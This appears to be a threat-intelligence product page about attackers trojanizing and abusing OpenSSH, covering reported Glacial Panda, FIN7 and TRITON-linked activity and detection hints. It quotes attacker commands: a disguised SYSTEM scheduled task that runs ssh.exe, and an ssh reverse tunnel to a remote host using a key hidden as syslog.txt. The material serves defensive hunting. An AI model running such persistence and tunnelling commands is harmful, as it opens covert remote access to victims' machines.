Loading malware…
OpenSSH is a legitimate SSH implementation that, in the provided reporting, is repeatedly referenced as being modified, trojanized, or repurposed by threat actors for backdoor access and lateral movement. On compromised Linux hosts, Glacial Panda was reported to deploy trojanized OpenSSH tools to log user authentication events and track remote connections to other hosts, a technique CrowdStrike calls ShieldSlide, supporting credential monitoring and lateral movement. Microsoft and other reporting also state that FIN7 used OpenSSH together with Impacket for lateral movement and to deploy Clop ransomware.
The content also describes Windows-focused malicious variants based on OpenSSH. A sample named spl32.exe is identified as a modified and custom-compiled version of OpenSSH sshd.exe. It listens on TCP port 50501, contains a fixed configuration and three hard-coded cryptokey pairs, and is built as a self-contained executable with OpenSSL built in. Upon accepted inbound SFTP connections, it launches WinSAT.exe, described as an unmodified but custom-compiled OpenSSH sftp-server.exe. Additional detection guidance in the content highlights hunting for modified OpenSSH binaries with non-standard PE metadata and for PE files containing strings such as "Microsoft openSSH client" while excluding legitimate "OpenSSH for Windows," as well as binaries embedding OpenSSH private key material such as "-----BEGIN OPENSSH PRIVATE KEY-----." The reporting associates such modified OpenSSH tooling with TRITON-related tradecraft and with FIN7 and Glacial Panda activity depending on the intrusion set and platform.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
"Glacial Panda deploys trojanized OpenSSH tools on compromised Linux hosts to log user authentication events and support lateral movement by tracking remote connections to other hosts in a technique CrowdStrike calls ShieldSlide."
...observed the group using OpenSSH and Impacket to move laterally and deploy Clop ransomware.
Looking for modified OpenSSH binaries with non-standard PE metadata, seen used heavily by TRITON actor
23 distinct techniques documented for this family, organized by ATT&CK tactic.
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY ... /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe ... ) Scheduled Task/Job [ T1053 ]
he installed OpenSSH Server and Tailscale, joined the victim's machine to his private Tailscale network, and set up key-based SSH
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY ... /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe ... ) Scheduled Task/Job [ T1053 ]
C:\ProgramData\ssh\ssh.exe -o "StrictHostKeyChecking no" root@<remote_ip> -p 443 -R 25369 -NCqf -i "C:\Windows\temp\syslog.txt" ... Remote services:SSH [ T1021 ]
...форвардинг локальних мережевих портів (зокрема, 445, 3389, 22) на віддалений сервер...
...форвардинг локальних мережевих портів (зокрема, 445, 3389, 22) на віддалений сервер...
These tasks launched two disguised executables: operagx.exe, which was actually an OpenSSH daemon... The SSH daemon was configured to listen only on local loopback port 20321
set up key-based SSH and a reverse tunnel. Now he could reach the machine over Tailscale's encrypted mesh with no C2 and no exposed ports... Look for ssh -R reverse tunnels heading to outside hosts.
The ServHelper module contains typical backdoor functionality. It launches many threads, some for tunneling the traffic over OpenSSH (which may be downloaded from a C2 server) tunnel...
...за допомогою легітимних програм OPENSSH і TOR, що забезпечували форвардинг локальних мережевих портів...
HAProxy entscheidet anhand der ersten übertragenen Byte an welchen Deamon die Verbindung weitergeleitet werden soll... Im frontend wird eine acl definiert, die per regulärem Ausdruck SSH-1.0* und SSH-2.0* matched und in diesem Fall das backend sshd als Ziel nutzt.
affiliates employed file.io , a file sharing service, to download their tools on compromised systems.
Apart from using AnyDesk, TeamViewer, OpenSSH, MobaXTerm as Remote Administration Tools...
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Legitimate OpenSSH binaries/tools are trojanized and deployed on compromised Linux hosts to log authentication events and facilitate lateral movement by monitoring/leveraging remote connections.
A legitimate remote administration utility abused for lateral movement and remote command execution; in this context, used by FIN7 in operations associated with Clop ransomware deployment.
Legitimate SSH tooling abused for remote access/lateral movement as part of the ransomware deployment chain.
Legitimate SSH tooling referenced in the context of modified Windows OpenSSH binaries and binaries containing hard-coded OpenSSH private key material, associated with TRITON tradecraft.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.